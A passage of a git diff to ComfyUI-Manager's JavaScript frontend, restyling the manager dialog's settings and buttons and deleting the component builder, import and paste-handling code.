const shareSetttingItem = createSettingsCombo("Share", share_combo);
|
||||
|
||||
update_policy_combo = document.createElement("select");
|
||||
|
||||
if(isElectron)
|
||||
update_policy_combo.style.display = 'none';
|
||||
|
||||
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
|
||||
update_policy_combo.className = "cm-menu-combo";
|
||||
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'Update: ComfyUI Stable Version' }, []));
|
||||
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'Update: ComfyUI Nightly Version' }, []));
|
||||
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
|
||||
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
|
||||
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
|
||||
api.fetchApi('/v2/manager/policy/update')
|
||||
.then(response => response.text())
|
||||
.then(data => {
|
||||
@@ -1078,20 +1040,20 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
|
||||
});
|
||||
|
||||
return [
|
||||
$el("br", {}, []),
|
||||
this.datasrc_combo,
|
||||
channel_combo,
|
||||
preview_combo,
|
||||
share_combo,
|
||||
component_policy_combo,
|
||||
update_policy_combo,
|
||||
$el("br", {}, []),
|
||||
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
|
||||
|
||||
if(isElectron)
|
||||
updateSetttingItem.style.display = 'none';
|
||||
|
||||
$el("br", {}, []),
|
||||
$el("filedset.cm-experimental", {}, [
|
||||
return [
|
||||
dbRetrievalSetttingItem,
|
||||
channelSetttingItem,
|
||||
shareSetttingItem,
|
||||
updateSetttingItem,
|
||||
//[TODO] replace mt-2 with wrapper div with flex column gap
|
||||
$el("filedset.cm-experimental.mt-auto", {}, [
|
||||
$el("legend.cm-experimental-legend", {}, ["EXPERIMENTAL"]),
|
||||
$el("button.cm-experimental-button", {
|
||||
$el("button.p-button.p-component.cm-button.cm-experimental-button", {
|
||||
type: "button",
|
||||
textContent: "Snapshot Manager",
|
||||
onclick:
|
||||
@@ -1101,7 +1063,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
SnapshotManager.instance.show();
|
||||
}
|
||||
}),
|
||||
$el("button.cm-experimental-button", {
|
||||
$el("button.p-button.p-component.cm-button.cm-experimental-button.mt-2", {
|
||||
type: "button",
|
||||
textContent: "Install PIP packages",
|
||||
onclick:
|
||||
@@ -1119,7 +1081,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
|
||||
createControlsRight() {
|
||||
const elts = [
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
id: 'cm-manual-button',
|
||||
type: "button",
|
||||
textContent: "Community Manual",
|
||||
@@ -1170,11 +1132,11 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
})
|
||||
]),
|
||||
|
||||
$el("button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
id: 'workflowgallery-button',
|
||||
type: "button",
|
||||
style: {
|
||||
...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
|
||||
// ...(localStorage.getItem("wg_last_visited") ? {height: '50px'} : {})
|
||||
},
|
||||
onclick: (e) => {
|
||||
const last_visited_site = localStorage.getItem("wg_last_visited")
|
||||
@@ -1197,7 +1159,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}, [
|
||||
$el("p", {
|
||||
id: 'workflowgallery-button-last-visited-label',
|
||||
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : ''})`,
|
||||
textContent: `(${localStorage.getItem("wg_last_visited") ? localStorage.getItem("wg_last_visited").split('/')[2] : 'none selected'})`,
|
||||
style: {
|
||||
'text-align': 'center',
|
||||
'color': 'var(--input-text)',
|
||||
@@ -1213,13 +1175,12 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
})
|
||||
]),
|
||||
|
||||
$el("button.cm-button", {
|
||||
$el("button.p-button.p-component.cm-button", {
|
||||
id: 'cm-nodeinfo-button',
|
||||
type: "button",
|
||||
textContent: "Nodes Info",
|
||||
onclick: () => { window.open("https://ltdrdata.github.io/", "comfyui-node-info"); }
|
||||
}),
|
||||
$el("br", {}, []),
|
||||
];
|
||||
|
||||
var textarea = document.createElement("div");
|
||||
@@ -1234,31 +1195,23 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
constructor() {
|
||||
super();
|
||||
|
||||
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => this.close() });
|
||||
const content = $el("div.cm-menu-container",
|
||||
[
|
||||
$el("div.cm-menu-column.gap-2", [...this.createControlsLeft()]),
|
||||
$el("div.cm-menu-column.gap-2", [...this.createControlsMid()]),
|
||||
$el("div.cm-menu-column.gap-2", [...this.createControlsRight()])
|
||||
]
|
||||
);
|
||||
|
||||
const content =
|
||||
$el("div.comfy-modal-content",
|
||||
[
|
||||
$el("tr.cm-title", {}, [
|
||||
$el("font", {size:6, color:"white"}, [`ComfyUI Manager ${manager_version}`])]
|
||||
),
|
||||
$el("br", {}, []),
|
||||
$el("div.cm-menu-container",
|
||||
[
|
||||
$el("div.cm-menu-column", [...this.createControlsLeft()]),
|
||||
$el("div.cm-menu-column", [...this.createControlsMid()]),
|
||||
$el("div.cm-menu-column", [...this.createControlsRight()])
|
||||
]),
|
||||
const frame = buildGuiFrame(
|
||||
'cm-manager-dialog', // dialog id
|
||||
`ComfyUI Manager ${manager_version}`, // dialog title
|
||||
"i.mdi.mdi-puzzle", // dialog icon class to show before title
|
||||
content, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
$el("br", {}, []),
|
||||
close_button,
|
||||
]
|
||||
);
|
||||
|
||||
content.style.width = '100%';
|
||||
content.style.height = '100%';
|
||||
|
||||
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
|
||||
this.element = frame;
|
||||
}
|
||||
|
||||
get isVisible() {
|
||||
@@ -1266,7 +1219,7 @@ class ManagerMenuDialog extends ComfyDialog {
|
||||
}
|
||||
|
||||
show() {
|
||||
this.element.style.display = "block";
|
||||
this.element.style.display = "flex";
|
||||
}
|
||||
|
||||
toggleVisibility() {
|
||||
@@ -1435,14 +1388,6 @@ app.registerExtension({
|
||||
});
|
||||
},
|
||||
async setup() {
|
||||
let orig_clear = app.graph.clear;
|
||||
app.graph.clear = function () {
|
||||
orig_clear.call(app.graph);
|
||||
load_components();
|
||||
};
|
||||
|
||||
load_components();
|
||||
|
||||
const menu = document.querySelector(".comfy-menu");
|
||||
const separator = document.createElement("hr");
|
||||
|
||||
@@ -1571,19 +1516,6 @@ app.registerExtension({
|
||||
node.prototype.getExtraMenuOptions = function (_, options) {
|
||||
origGetExtraMenuOptions?.apply?.(this, arguments);
|
||||
|
||||
if (node.category.startsWith('group nodes>')) {
|
||||
options.push({
|
||||
content: "Save As Component",
|
||||
callback: (obj) => {
|
||||
if (!ComponentBuilderDialog.instance) {
|
||||
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
|
||||
}
|
||||
ComponentBuilderDialog.instance.target_node = node;
|
||||
ComponentBuilderDialog.instance.show();
|
||||
}
|
||||
}, null);
|
||||
}
|
||||
|
||||
if (isOutputNode(node)) {
|
||||
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
|
||||
const hasOutput = potential_outputs.length > 0;
|
||||
|
||||
@@ -1,812 +0,0 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
|
||||
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
|
||||
const SEPARATOR = ">"
|
||||
|
||||
let pack_map = {};
|
||||
let rpack_map = {};
|
||||
|
||||
export function getPureName(node) {
|
||||
// group nodes/
|
||||
let category = null;
|
||||
if(node.category) {
|
||||
category = node.category.substring(12);
|
||||
}
|
||||
else {
|
||||
category = node.constructor.category?.substring(12);
|
||||
}
|
||||
if(category) {
|
||||
let purename = node.comfyClass.substring(category.length+1);
|
||||
return purename;
|
||||
}
|
||||
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
|
||||
return node.comfyClass.substring(9);
|
||||
}
|
||||
else {
|
||||
return node.comfyClass;
|
||||
}
|
||||
}
|
||||
|
||||
function isValidVersionString(version) {
|
||||
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
|
||||
|
||||
const match = version.match(versionPattern);
|
||||
|
||||
return match !== null &&
|
||||
parseInt(match[1], 10) >= 0 &&
|
||||
parseInt(match[2], 10) >= 0 &&
|
||||
(!match[3] || parseInt(match[4], 10) >= 0);
|
||||
}
|
||||
|
||||
function register_pack_map(name, data) {
|
||||
if(data.packname) {
|
||||
pack_map[data.packname] = name;
|
||||
rpack_map[name] = data;
|
||||
}
|
||||
else {
|
||||
rpack_map[name] = data;
|
||||
}
|
||||
}
|
||||
|
||||
function storeGroupNode(name, data, register=true) {
|
||||
let extra = app.graph.extra;
|
||||
if (!extra) app.graph.extra = extra = {};
|
||||
let groupNodes = extra.groupNodes;
|
||||
if (!groupNodes) extra.groupNodes = groupNodes = {};
|
||||
groupNodes[name] = data;
|
||||
|
||||
if(register) {
|
||||
register_pack_map(name, data);
|
||||
}
|
||||
}
|
||||
|
||||
export async function load_components() {
|
||||
let data = await api.fetchApi('/v2/manager/component/loads', {method: "POST"});
|
||||
let components = await data.json();
|
||||
|
||||
let start_time = Date.now();
|
||||
let failed = [];
|
||||
let failed2 = [];
|
||||
|
||||
for(let name in components) {
|
||||
if(app.graph.extra?.groupNodes?.[name]) {
|
||||
if(data) {
|
||||
let data = components[name];
|
||||
|
||||
let category = data.packname;
|
||||
if(data.category) {
|
||||
category += SEPARATOR + data.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
const config = new GroupNodeConfig(name, data);
|
||||
await config.registerType(category);
|
||||
|
||||
register_pack_map(name, data);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.packname;
|
||||
if(nodeData.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 5000) {
|
||||
failed.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback1
|
||||
for(let i in failed) {
|
||||
let name = failed[i];
|
||||
|
||||
if(app.graph.extra?.groupNodes?.[name]) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.packname;
|
||||
if(nodeData.workflow.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 10000) {
|
||||
failed2.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fallback2
|
||||
for(let name in failed2) {
|
||||
let name = failed2[i];
|
||||
|
||||
let nodeData = components[name];
|
||||
|
||||
storeGroupNode(name, nodeData);
|
||||
|
||||
const config = new GroupNodeConfig(name, nodeData);
|
||||
while(true) {
|
||||
try {
|
||||
let category = nodeData.workflow.packname;
|
||||
if(nodeData.workflow.category) {
|
||||
category += SEPARATOR + nodeData.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
register_pack_map(name, nodeData);
|
||||
break;
|
||||
}
|
||||
catch {
|
||||
let elapsed_time = Date.now() - start_time;
|
||||
if (elapsed_time > 30000) {
|
||||
failed.push(name);
|
||||
break;
|
||||
} else {
|
||||
await sleep(100);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
|
||||
let component_name = `${prefix}::${nodename}`;
|
||||
|
||||
let subgraph = app.graph.extra?.groupNodes?.[component_name];
|
||||
if(!subgraph) {
|
||||
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
|
||||
}
|
||||
|
||||
subgraph.version = version;
|
||||
subgraph.author = author;
|
||||
subgraph.datetime = Date.now();
|
||||
subgraph.packname = packname;
|
||||
subgraph.category = category;
|
||||
|
||||
let body =
|
||||
{
|
||||
name: component_name,
|
||||
workflow: subgraph
|
||||
};
|
||||
|
||||
pack_map[packname] = component_name;
|
||||
rpack_map[component_name] = subgraph;
|
||||
|
||||
const res = await api.fetchApi('/v2/manager/component/save', {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if(res.status == 200) {
|
||||
storeGroupNode(component_name, subgraph);
|
||||
const config = new GroupNodeConfig(component_name, subgraph);
|
||||
|
||||
let category = body.workflow.packname;
|
||||
if(body.workflow.category) {
|
||||
category += SEPARATOR + body.workflow.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
await config.registerType(category);
|
||||
|
||||
let path = await res.text();
|
||||
show_message(`Component '${component_name}' is saved into:\n${path}`);
|
||||
}
|
||||
else
|
||||
show_message(`Failed to save component.`);
|
||||
}
|
||||
|
||||
async function import_component(component_name, component, mode) {
|
||||
if(mode) {
|
||||
let body =
|
||||
{
|
||||
name: component_name,
|
||||
workflow: component
|
||||
};
|
||||
|
||||
const res = await api.fetchApi('/v2/manager/component/save', {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json", },
|
||||
body: JSON.stringify(body)
|
||||
});
|
||||
}
|
||||
|
||||
let category = component.packname;
|
||||
if(component.category) {
|
||||
category += SEPARATOR + component.category;
|
||||
}
|
||||
if(category == '') {
|
||||
category = 'components';
|
||||
}
|
||||
|
||||
storeGroupNode(component_name, component);
|
||||
const config = new GroupNodeConfig(component_name, component);
|
||||
await config.registerType(category);
|
||||
}
|
||||
|
||||
function restore_to_loaded_component(component_name) {
|
||||
if(rpack_map[component_name]) {
|
||||
let component = rpack_map[component_name];
|
||||
storeGroupNode(component_name, component, false);
|
||||
const config = new GroupNodeConfig(component_name, component);
|
||||
config.registerType(component.category);
|
||||
}
|
||||
}
|
||||
|
||||
// Using a timestamp prevents duplicate pastes and ensures the prevention of re-deletion of litegrapheditor_clipboard.
|
||||
let last_paste_timestamp = null;
|
||||
|
||||
function versionCompare(v1, v2) {
|
||||
let ver1;
|
||||
let ver2;
|
||||
if(v1 && v1 != '') {
|
||||
ver1 = v1.split('.');
|
||||
ver1[0] = parseInt(ver1[0]);
|
||||
ver1[1] = parseInt(ver1[1]);
|
||||
if(ver1.length == 2)
|
||||
ver1.push(0);
|
||||
else
|
||||
ver1[2] = parseInt(ver2[2]);
|
||||
}
|
||||
else {
|
||||
ver1 = [0,0,0];
|
||||
}
|
||||
|
||||
if(v2 && v2 != '') {
|
||||
ver2 = v2.split('.');
|
||||
ver2[0] = parseInt(ver2[0]);
|
||||
ver2[1] = parseInt(ver2[1]);
|
||||
if(ver2.length == 2)
|
||||
ver2.push(0);
|
||||
else
|
||||
ver2[2] = parseInt(ver2[2]);
|
||||
}
|
||||
else {
|
||||
ver2 = [0,0,0];
|
||||
}
|
||||
|
||||
if(ver1[0] > ver2[0])
|
||||
return -1;
|
||||
else if(ver1[0] < ver2[0])
|
||||
return 1;
|
||||
|
||||
if(ver1[1] > ver2[1])
|
||||
return -1;
|
||||
else if(ver1[1] < ver2[1])
|
||||
return 1;
|
||||
|
||||
if(ver1[2] > ver2[2])
|
||||
return -1;
|
||||
else if(ver1[2] < ver2[2])
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
function checkVersion(name, component) {
|
||||
let msg = '';
|
||||
if(rpack_map[name]) {
|
||||
let old_version = rpack_map[name].version;
|
||||
if(!old_version || old_version == '') {
|
||||
msg = ` '${name}' Upgrade (V0.0 -> V${component.version})`;
|
||||
}
|
||||
else {
|
||||
let c = versionCompare(old_version, component.version);
|
||||
if(c < 0) {
|
||||
msg = ` '${name}' Downgrade (V${old_version} -> V${component.version})`;
|
||||
}
|
||||
else if(c > 0) {
|
||||
msg = ` '${name}' Upgrade (V${old_version} -> V${component.version})`;
|
||||
}
|
||||
else {
|
||||
msg = ` '${name}' Same version (V${component.version})`;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
msg = `'${name}' NEW (V${component.version})`;
|
||||
}
|
||||
|
||||
return msg;
|
||||
}
|
||||
|
||||
async function handle_import_components(components) {
|
||||
let msg = 'Components:\n';
|
||||
let cnt = 0;
|
||||
for(let name in components) {
|
||||
let component = components[name];
|
||||
let v = checkVersion(name, component);
|
||||
|
||||
if(cnt < 10) {
|
||||
msg += v + '\n';
|
||||
}
|
||||
else if (cnt == 10) {
|
||||
msg += '...\n';
|
||||
}
|
||||
else {
|
||||
// do nothing
|
||||
}
|
||||
|
||||
cnt++;
|
||||
}
|
||||
|
||||
let last_name = null;
|
||||
msg += '\nWill you load components?\n';
|
||||
const confirmed = await customConfirm(msg);
|
||||
if(confirmed) {
|
||||
const mode = await customConfirm('\nWill you save components?\n(cancel=load without save)');
|
||||
|
||||
for(let name in components) {
|
||||
let component = components[name];
|
||||
import_component(name, component, mode);
|
||||
last_name = name;
|
||||
}
|
||||
|
||||
if(mode) {
|
||||
show_message('Components are saved.');
|
||||
}
|
||||
else {
|
||||
show_message('Components are loaded.');
|
||||
}
|
||||
}
|
||||
|
||||
if(cnt == 1 && last_name) {
|
||||
const node = LiteGraph.createNode(`workflow${SEPARATOR}${last_name}`);
|
||||
node.pos = [app.canvas.graph_mouse[0], app.canvas.graph_mouse[1]];
|
||||
app.canvas.graph.add(node, false);
|
||||
}
|
||||
}
|
||||
|
||||
async function handlePaste(e) {
|
||||
let data = (e.clipboardData || window.clipboardData);
|
||||
const items = data.items;
|
||||
for(const item of items) {
|
||||
if(item.kind == 'string' && item.type == 'text/plain') {
|
||||
data = data.getData("text/plain");
|
||||
try {
|
||||
let json_data = JSON.parse(data);
|
||||
if(json_data.kind == 'ComfyUI Components' && last_paste_timestamp != json_data.timestamp) {
|
||||
last_paste_timestamp = json_data.timestamp;
|
||||
await handle_import_components(json_data.components);
|
||||
|
||||
// disable paste node
|
||||
localStorage.removeItem("litegrapheditor_clipboard", null);
|
||||
}
|
||||
else {
|
||||
console.log('This components are already pasted: ignored');
|
||||
}
|
||||
}
|
||||
catch {
|
||||
// nothing to do
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener("paste", handlePaste);
|
||||
|
||||
|
||||
export class ComponentBuilderDialog extends ComfyDialog {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
clear() {
|
||||
while (this.element.children.length) {
|
||||
this.element.removeChild(this.element.children[0]);
|
||||
}
|
||||
}
|
||||
|
||||
show() {
|
||||
this.invalidateControl();
|
||||
|
||||
this.element.style.display = "block";
|
||||
this.element.style.zIndex = 1099;
|
||||
this.element.style.width = "500px";
|
||||
this.element.style.height = "480px";
|
||||
}
|
||||
|
||||
invalidateControl() {
|
||||
this.clear();
|
||||
|
||||
let self = this;
|
||||
|
||||
const close_button = $el("button", { id: "cm-close-button", type: "button", textContent: "Close", onclick: () => self.close() });
|
||||
this.save_button = $el("button",
|
||||
{ id: "cm-save-button", type: "button", textContent: "Save", onclick: () =>
|
||||
{
|
||||
save_as_component(self.target_node, self.version_string.value.trim(), self.author.value.trim(), self.node_prefix.value.trim(),
|
||||
self.getNodeName(), self.getPackName(), self.category.value.trim());
|
||||
}
|
||||
});
|
||||
|
||||
let default_nodename = getPureName(this.target_node).trim();
|
||||
|
||||
let groupNode = app.graph.extra.groupNodes[default_nodename];
|
||||
let default_packname = groupNode.packname;
|
||||
if(!default_packname) {
|
||||
default_packname = '';
|
||||
}
|
||||
|
||||
let default_category = groupNode.category;
|
||||
if(!default_category) {
|
||||
default_category = '';
|
||||
}
|
||||
|
||||
this.default_ver = groupNode.version;
|
||||
if(!this.default_ver) {
|
||||
this.default_ver = '0.0';
|
||||
}
|
||||
|
||||
let default_author = groupNode.author;
|
||||
if(!default_author) {
|
||||
default_author = '';
|
||||
}
|
||||
|
||||
let delimiterIndex = default_nodename.indexOf('::');
|
||||
let default_prefix = "";
|
||||
if(delimiterIndex != -1) {
|
||||
default_prefix = default_nodename.substring(0, delimiterIndex);
|
||||
default_nodename = default_nodename.substring(delimiterIndex + 2);
|
||||
}
|
||||
|
||||
if(!default_prefix) {
|
||||
this.save_button.disabled = true;
|
||||
}
|
||||
|
||||
this.pack_list = this.createPackListCombo();
|
||||
|
||||
let version_string = this.createLabeledInput('input version (e.g. 1.0)', '*Version : ', this.default_ver);
|
||||
this.version_string = version_string[1];
|
||||
this.version_string.disabled = true;
|
||||
|
||||
let author = this.createLabeledInput('input author (e.g. Dr.Lt.Data)', 'Author : ', default_author);
|
||||
this.author = author[1];
|
||||
|
||||
let node_prefix = this.createLabeledInput('input node prefix (e.g. mypack)', '*Prefix : ', default_prefix);
|
||||
this.node_prefix = node_prefix[1];
|
||||
|
||||
let manual_nodename = this.createLabeledInput('input node name (e.g. MAKE_BASIC_PIPE)', 'Nodename : ', default_nodename);
|
||||
this.manual_nodename = manual_nodename[1];
|
||||
|
||||
let manual_packname = this.createLabeledInput('input pack name (e.g. mypack)', 'Packname : ', default_packname);
|
||||
this.manual_packname = manual_packname[1];
|
||||
|
||||
let category = this.createLabeledInput('input category (e.g. util/pipe)', 'Category : ', default_category);
|
||||
this.category = category[1];
|
||||
|
||||
this.node_label = this.createNodeLabel();
|
||||
|
||||
let author_mode = this.createAuthorModeCheck();
|
||||
this.author_mode = author_mode[0];
|
||||
|
||||
const content =
|
||||
$el("div.comfy-modal-content",
|
||||
[
|
||||
$el("tr.cm-title", {}, [
|
||||
$el("font", {size:6, color:"white"}, [`ComfyUI-Manager: Component Builder`])]
|
||||
),
|
||||
$el("br", {}, []),
|
||||
$el("div.cm-menu-container",
|
||||
[
|
||||
author_mode[0],
|
||||
author_mode[1],
|
||||
category[0],
|
||||
author[0],
|
||||
node_prefix[0],
|
||||
manual_nodename[0],
|
||||
manual_packname[0],
|
||||
version_string[0],
|
||||
this.pack_list,
|
||||
$el("br", {}, []),
|
||||
this.node_label
|
||||
]),
|
||||
|
||||
$el("br", {}, []),
|
||||
this.save_button,
|
||||
close_button,
|
||||
]
|
||||
);
|
||||
|
||||
content.style.width = '100%';
|
||||
content.style.height = '100%';
|
||||
|
||||
this.element = $el("div.comfy-modal", { id:'cm-manager-dialog', parent: document.body }, [ content ]);
|
||||
}
|
||||
|
||||
validateInput() {
|
||||
let msg = "";
|
||||
|
||||
if(!isValidVersionString(this.version_string.value)) {
|
||||
msg += 'Invalid version string: '+event.value+"\n";
|
||||
}
|
||||
|
||||
if(this.node_prefix.value.trim() == '') {
|
||||
msg += 'Node prefix cannot be empty\n';
|
||||
}
|
||||
|
||||
if(this.manual_nodename.value.trim() == '') {
|
||||
msg += 'Node name cannot be empty\n';
|
||||
}
|
||||
|
||||
if(msg != '') {
|
||||
// alert(msg);
|
||||
}
|
||||
|
||||
this.save_button.disabled = msg != "";
|
||||
}
|
||||
|
||||
getPackName() {
|
||||
if(this.pack_list.selectedIndex == 0) {
|
||||
return this.manual_packname.value.trim();
|
||||
}
|
||||
|
||||
return this.pack_list.value.trim();
|
||||
}
|
||||
|
||||
getNodeName() {
|
||||
if(this.manual_nodename.value.trim() != '') {
|
||||
return this.manual_nodename.value.trim();
|
||||
}
|
||||
|
||||
return getPureName(this.target_node);
|
||||
}
|
||||
|
||||
createAuthorModeCheck() {
|
||||
let check = $el("input",{type:'checkbox', id:"author-mode"},[])
|
||||
const check_label = $el("label",{for:"author-mode"},["Enable author mode"]);
|
||||
check_label.style.color = "var(--fg-color)";
|
||||
check_label.style.cursor = "pointer";
|
||||
check.checked = false;
|
||||
|
||||
let self = this;
|
||||
check.onchange = () => {
|
||||
self.version_string.disabled = !check.checked;
|
||||
|
||||
if(!check.checked) {
|
||||
self.version_string.value = self.default_ver;
|
||||
}
|
||||
else {
|
||||
customAlert('If you are not the author, it is not recommended to change the version, as it may cause component update issues.');
|
||||
}
|
||||
};
|
||||
|
||||
return [check, check_label];
|
||||
}
|
||||
|
||||
createNodeLabel() {
|
||||
let label = $el('p');
|
||||
label.className = 'cb-node-label';
|
||||
if(this.target_node.comfyClass.includes('::'))
|
||||
label.textContent = getPureName(this.target_node);
|
||||
else
|
||||
label.textContent = " _::" + getPureName(this.target_node);
|
||||
return label;
|
||||
}
|
||||
|
||||
createLabeledInput(placeholder, label, value) {
|
||||
let textbox = $el('input.cb-widget-input', {type:'text', placeholder:placeholder, value:value}, []);
|
||||
|
||||
let self = this;
|
||||
textbox.onchange = () => {
|
||||
this.validateInput.call(self);
|
||||
this.node_label.textContent = this.node_prefix.value + "::" + this.manual_nodename.value;
|
||||
}
|
||||
let row = $el('span.cb-widget', {}, [ $el('span.cb-widget-input-label', label), textbox]);
|
||||
|
||||
return [row, textbox];
|
||||
}
|
||||
|
||||
createPackListCombo() {
|
||||
let combo = document.createElement("select");
|
||||
combo.className = "cb-widget";
|
||||
let default_packname_option = { value: '##manual', text: 'Packname: Manual' };
|
||||
|
||||
combo.appendChild($el('option', default_packname_option, []));
|
||||
for(let name in pack_map) {
|
||||
combo.appendChild($el('option', { value: name, text: 'Packname: '+ name }, []));
|
||||
}
|
||||
|
||||
let self = this;
|
||||
combo.onchange = function () {
|
||||
if(combo.selectedIndex == 0) {
|
||||
self.manual_packname.disabled = false;
|
||||
}
|
||||
else {
|
||||
self.manual_packname.disabled = true;
|
||||
}
|
||||
};
|
||||
|
||||
return combo;
|
||||
}
|
||||
}
|
||||
|
||||
let orig_handleFile = app.handleFile;
|
||||
|
||||
async function handleFile(file) {
|
||||
if (file.name?.endsWith(".json") || file.name?.endsWith(".pack")) {
|
||||
const reader = new FileReader();
|
||||
reader.onload = async () => {
|
||||
let is_component = false;
|
||||
const jsonContent = JSON.parse(reader.result);
|
||||
for(let name in jsonContent) {
|
||||
let cand = jsonContent[name];
|
||||
is_component = cand.datetime && cand.version;
|
||||
break;
|
||||
}
|
||||
|
||||
if(is_component) {
|
||||
await handle_import_components(jsonContent);
|
||||
}
|
||||
else {
|
||||
orig_handleFile.call(app, file);
|
||||
}
|
||||
};
|
||||
reader.readAsText(file);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
orig_handleFile.call(app, file);
|
||||
}
|
||||
|
||||
app.handleFile = handleFile;
|
||||
|
||||
let current_component_policy = 'workflow';
|
||||
try {
|
||||
api.fetchApi('/v2/manager/policy/component')
|
||||
.then(response => response.text())
|
||||
.then(data => { current_component_policy = data; });
|
||||
}
|
||||
catch {}
|
||||
|
||||
function getChangedVersion(groupNodes) {
|
||||
if(!Object.keys(pack_map).length || !groupNodes)
|
||||
return null;
|
||||
|
||||
let res = {};
|
||||
for(let component_name in groupNodes) {
|
||||
let data = groupNodes[component_name];
|
||||
|
||||
if(rpack_map[component_name]) {
|
||||
let v = versionCompare(data.version, rpack_map[component_name].version);
|
||||
res[component_name] = v;
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
const loadGraphData = app.loadGraphData;
|
||||
app.loadGraphData = async function () {
|
||||
if(arguments.length == 0)
|
||||
return await loadGraphData.apply(this, arguments);
|
||||
|
||||
let graphData = arguments[0];
|
||||
let groupNodes = graphData.extra?.groupNodes;
|
||||
let res = getChangedVersion(groupNodes);
|
||||
|
||||
if(res) {
|
||||
let target_components = null;
|
||||
switch(current_component_policy) {
|
||||
case 'higher':
|
||||
target_components = Object.keys(res).filter(key => res[key] == 1);
|
||||
break;
|
||||
|
||||
case 'mine':
|
||||
target_components = Object.keys(res);
|
||||
break;
|
||||
|
||||
default:
|
||||
// do nothing
|
||||
}
|
||||
|
||||
if(target_components) {
|
||||
for(let i in target_components) {
|
||||
let component_name = target_components[i];
|
||||
let component = rpack_map[component_name];
|
||||
if(component && graphData.extra?.groupNodes) {
|
||||
graphData.extra.groupNodes[component_name] = component;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
console.log('Empty components: policy ignored');
|
||||
}
|
||||
|
||||
arguments[0] = graphData;
|
||||
return await loadGraphData.apply(this, arguments);
|
||||
};
|
||||
|
||||
export function set_component_policy(v) {
|
||||
current_component_policy = v;
|
||||
}
|
||||
|
||||
let graphToPrompt = app.graphToPrompt;
|
||||
app.graphToPrompt = async function () {
|
||||
let p = await graphToPrompt.call(app);
|
||||
try {
|
||||
